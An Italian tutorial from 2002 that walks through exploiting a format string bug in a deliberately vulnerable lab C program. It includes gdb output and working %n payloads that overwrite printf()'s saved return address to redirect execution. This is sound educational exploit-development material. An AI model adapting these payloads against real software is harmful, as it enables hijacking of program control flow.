Format String − Dirottamento all'uscita dalla printf()

Pubblicato da ***ORK*** il 12/10/2002

Livello ***base***

Introduzione

Questo articolo descrive come sia possibile dirottare il flusso di esecuzione sovrascrivendo l'indirizzo di ritorno di una printf() vulnerabile al Format String Bug.

Si assume che il lettore abbia una conoscenza di base del linguaggio C, delle vulnerabilità delle Format String, del funzionamento delle chiamate a funzione e di gdb.

Programmi usati

- ***gcc***: GNU C Compiler
- ***gdb***: GNU Debugger

Iniziamo

Il problema
Prendiamo in considerazione questo sorgente:

```
#include <stdio.h>
#include <stdlib.h>

fuori()
{
  printf("\n\nFuori ...\n");
  exit(0);
}

main ()
{
  int a=0;
  char buff[512];

  printf("a       : %x\n", &a);
  printf("Buff    : %x\n", buff);
  printf("fuori() : %x\n", &fuori);

  fgets(buff, 512, stdin);

  printf(buff);

  printf("\nValore di a: %x\n", a);
  printf("\n\nLoop ...\n");

  while(1);
}
```

Ad una prima occhiata saltano all'occhio immediatamente due cose, la prima è che questo programmino contiene una vulnerabilità delle Format String (printf(buff);) e la seconda cosa è che non termina mai (while(1);).
Qualcuno potrebbe anche notare che c'è una funzione che non viene chiamata, ma per ora facciamo finta di non vederla, ci servirà dopo :)
Compiliamo e proviamo:

```
$ gcc vuln.c −o vuln
$ ./vuln
a       : bffff9d4
Buff    : bffff7d4
fuori() : 8048460
ciao
ciao

Valore di a: 0


Loop ...
```

```
[ctrl-c]
$ ./vuln
a       : bffff9d4
Buff    : bffff7d4
fuori() : 8048460
%x%x%x%x%x
7825782578257825a782500

Valore di a: 0


Loop ...

[ctrl-c]
$
```

In questo articolo vedremo come sfruttare la vulnerabilità della FS per riuscire ad eseguire la funzione fuori() prima di entrare nel ciclo infinito del while(1).

L'idea
Il problema da risolvere fondamentalmente è trovare un indirizzo da sovrascrivere che permetta di dirottare il flusso d'esecuzione verso la funzione fuori() prima di entrare nel while.

Cominciamo con l'analizzare il codice ASM del programmino vulnerabile.

```
$ gdb vuln
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:

[ ... ]

0x80484ec <main+104>:   call   0x804836c <printf>
0x80484f1 <main+109>:   add    $0x4,%esp
0x80484f4 <main+112>:   mov    0xfffffffc(%ebp),%eax
0x80484f7 <main+115>:   push   %eax
0x80484f8 <main+116>:   push   $0x80485ab
0x80484fd <main+121>:   call   0x804836c <printf>
0x8048502 <main+126>:   add    $0x8,%esp
0x8048505 <main+129>:   push   $0x80485b0
0x804850a <main+134>:   call   0x804836c <printf>
0x804850f <main+139>:   add    $0x4,%esp
0x8048512 <main+142>:   jmp    0x8048516 <main+146>
0x8048514 <main+144>:   jmp    0x8048518 <main+148>
0x8048516 <main+146>:   jmp    0x8048512 <main+142>
0x8048518 <main+148>:   leave
0x8048519 <main+149>:   ret
End of assembler dump.
```

La printf() all'indirizzo <main+104> è quella contenente il bug di FS, mentre all'indirizzo <main+142> comincia il ciclo infinito. Bisogna, perciò, trovare qualcosa tra questi 2 indirizzi che permetta di dirottare il flusso d'esecuzione.

Ragioniamo ...
La chiamata alla funzione printf() avviene attraverso l'istruzione CALL. Questa istruzione come prima cosa quando viene chiamata salva sullo stack il valore di EIP (ovvero l'indirizzo della prossima istruzione) e inserisce sempre in EIP l'indirizzo della prima istruzione della funzione da eseguire. In questo modo sullo stack viene salvato l'indirizzo a cui dovrà ritornare il controllo una volta che la funzione chiamata terminerà e il controllo viene passato alla nuova funzione. Niente di nuovo insomma, il solito meccanismo di chiamata a funzione...
Quando la funzione avrà terminato quello che deve fare, verrà chiamata l'istruzione RET che va a leggere dallo stack l'indirizzo salvato in precedenza dalla CALL e gli passa il controllo.

Quindi quando viene chiamata la printf() vengono eseguite le seguenti operazioni:

```
CALL printf()
printf()
RET
```

Dunque ricapitoliamo... abbiamo detto che l'istruzione CALL salva l'indirizzo sullo stack e che la RET va a leggerlo e gli passa il controllo. Noi sappiamo anche che la printf() contiene un bug che ci permette di scrivere su qualsiasi indirizzo di memoria. Quindi la cosa mi sembra abbastanza logica, la CALL scrive l'indirizzo sullo stack, noi lo modifichiamo durante l'esecuzione della printf() e la RET passa il controllo all'indirizzo che vogliamo noi.

Dalla teoria alla pratica
Bene, una volta capito cosa vogliamo fare andiamo a vedere cosa ci serve per far eseguire fuori() all'uscita dalla printf().

Le prime due cose che ci servono sono:

- L'indirizzo di inizio della funzione fuori()
- L'indirizzo di memoria in cui è salvato l'indirizzo di ritorno che dovremo andare a sovrascrivere.

Una volta che avremo ottenuto questi due indirizzi dovremo passare alla costruzione della stringa da passare al programma in modo da sfruttare la vulnerabilità della printf().

Se avete osservato bene l'esecuzione del programma all'inizio, avrete notato che prima dell'esecuzione della printf() vulnerabile vengono stampate dal programma diverse cose tra cui l'indirizzo di inizio della funzione fuori() e l'indirizzo della variabile 'a'. Dopo la printf() invece viene stampato il valore della variabile 'a'. Fondamentalmente ho fatto stampare queste cose per facilitare la costruzione della stringa da passare al programma. (e vabbè sono pigro ... ma si sapeva :)

Prima di andare a cercare l'indirizzo di memoria da sovrascrivere io direi che possiamo provare a creare una stringa che sfruttando il bug vada a sovrascrivere il contenuto della variabile 'a' con l'indirizzo voluto (ovvero l'indirizzo della funzione fuori())

Per la creazione della stringa userò il comando printf (man printf 1) e la passerò a vuln attraverso una pipe.

```
[ ... ] (dopo qualche tentativo)

$ printf "AAAA\xd4\xf9\xff\xbfZZZZ\xd5\xf9\xff\xbfZZZZ\xd6\xf9\xff\xbfZZZZ\xd7
\xf9\xff\xbfZZZZ%s" "%59x-%n-%34x-%n-%126x-%n-%258x-%n"|./vuln
a       : bffff9d4
Buff    : bffff7d4
fuori() : 8048460
AAAAÔùÿ¿ZZZZÕùÿ¿ZZZZÖùÿ¿ZZZZ×ùÿ¿ZZZZ
       41414141--                          5a5a5a5a--

           5a5a5a5a--


                                5a5a5a5a-
Valore di a: 8048460


Loop ...
```

Bene ci siamo riusciti. Una volta recuperato l'indirizzo da sovrascrivere ci basterà adattare questa stringa in modo da sovrascrivere l'indirizzo di ritorno al posto della variabile 'a'.

Non ci resta che passare alla ricerca dell'indirizzo.

```
$ gdb vuln
GNU gdb Red Hat Linux 7.x (5.0rh-15) (MI_OUT)
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) disassemble main
Dump of assembler code for function main:

[ ... ]

0x80484ec <main+104>:   call   0x804836c <printf>
```

```
0x80484f1 <main+109>:   add    $0x4,%esp

[ ... ]

End of assembler dump.
(gdb) b *0x80484ec
Breakpoint 1 at 0x80484ec
(gdb) r
Starting program: /home/develop/FS/vuln
a       : bffff9d4
Buff    : bffff7d4
fuori() : 8048460
xxxxxxxxxxxxxxxxxxx

Breakpoint 1, 0x080484ec in main ()
(gdb) info registers esp
esp            0xbffff7d0       0xbffff7d0
(gdb) stepi
(gdb) info registers esp
esp            0xbffff7cc       0xbffff7cc
(gdb) x/32b 0xbffff7cc
0xbffff7cc:     0xf1    0x84    0x04    0x08    0xd4    0xf7    0xff    0xbf
0xbffff7d4:     0x78    0x78    0x78    0x78    0x78    0x78    0x78    0x78
0xbffff7dc:     0x78    0x78    0x78    0x78    0x78    0x78    0x78    0x78
0xbffff7e4:     0x78    0x78    0x78    0x0a    0x00    0x00    0x00    0x00
(gdb) quit
The program is running.  Exit anyway? (y or n) y
```

Come si può vedere l'indirizzo dello stack da sovrascrivere è 0xbffff7cc che contiene proprio l'indirizzo dell'istruzione successiva della chiamata alla printf() (0x80484f1 ovvero <main+109>).

Non ci resta che adattare la Format String di prima ...

```
$ printf "AAAA\xcc\xf7\xff\xbfZZZZ\xcd\xf7\xff\xbfZZZZ\xce\xf7\xff\xbfZZZZ\xcf
\xf7\xff\xbfZZZZ%s" "%59x-%n-%34x-%n-%126x-%n-%258x-%n"|./vuln
a       : bffff9d4
Buff    : bffff7d4
fuori() : 8048460
AAAAÌ÷ÿ¿ZZZZÍ÷ÿ¿ZZZZÎ÷ÿ¿ZZZZÏ÷ÿ¿ZZZZ
       41414141--                          5a5a5a5a--

           5a5a5a5a--


                                5a5a5a5a-

Fuori ...
$
```

Funzia ... eccome se funzia :))))

Conclusioni

Di fatto questo articolo non dice molto di nuovo, in fondo quello che viene sovrascritto è sempre il solito e vecchio indirizzo di ritorno necessario al meccanismo di gestione delle chiamate delle funzioni. La cosa interessante è che questa tecnica, sovrascrivendo l'indirizzo di ritorno della chiamata alla printf(), è sempre applicabile e dirotta il flusso d'esecuzione subito dopo la fine della printf() vulnerabile.
Certamente gli indirizzi che si possono sfruttare per dirottare il flusso d'esecuzione con un bug delle FS sono molti, ma ci si può trovare in condizioni in cui il controllo deve essere dirottato prima possibile.

In generale questa tecnica può essere applicata a tutti i casi di questo tipo:

```
main(int argc, char *argv[])
{
  printf(argv[1]);
  while(1);
}
```

dove al posto del while immaginate qualsiasi altra istruzione che non deve essere eseguita prima del dirottamento del flusso d'esecuzione.

** Information wants to be Free !! **
By ORK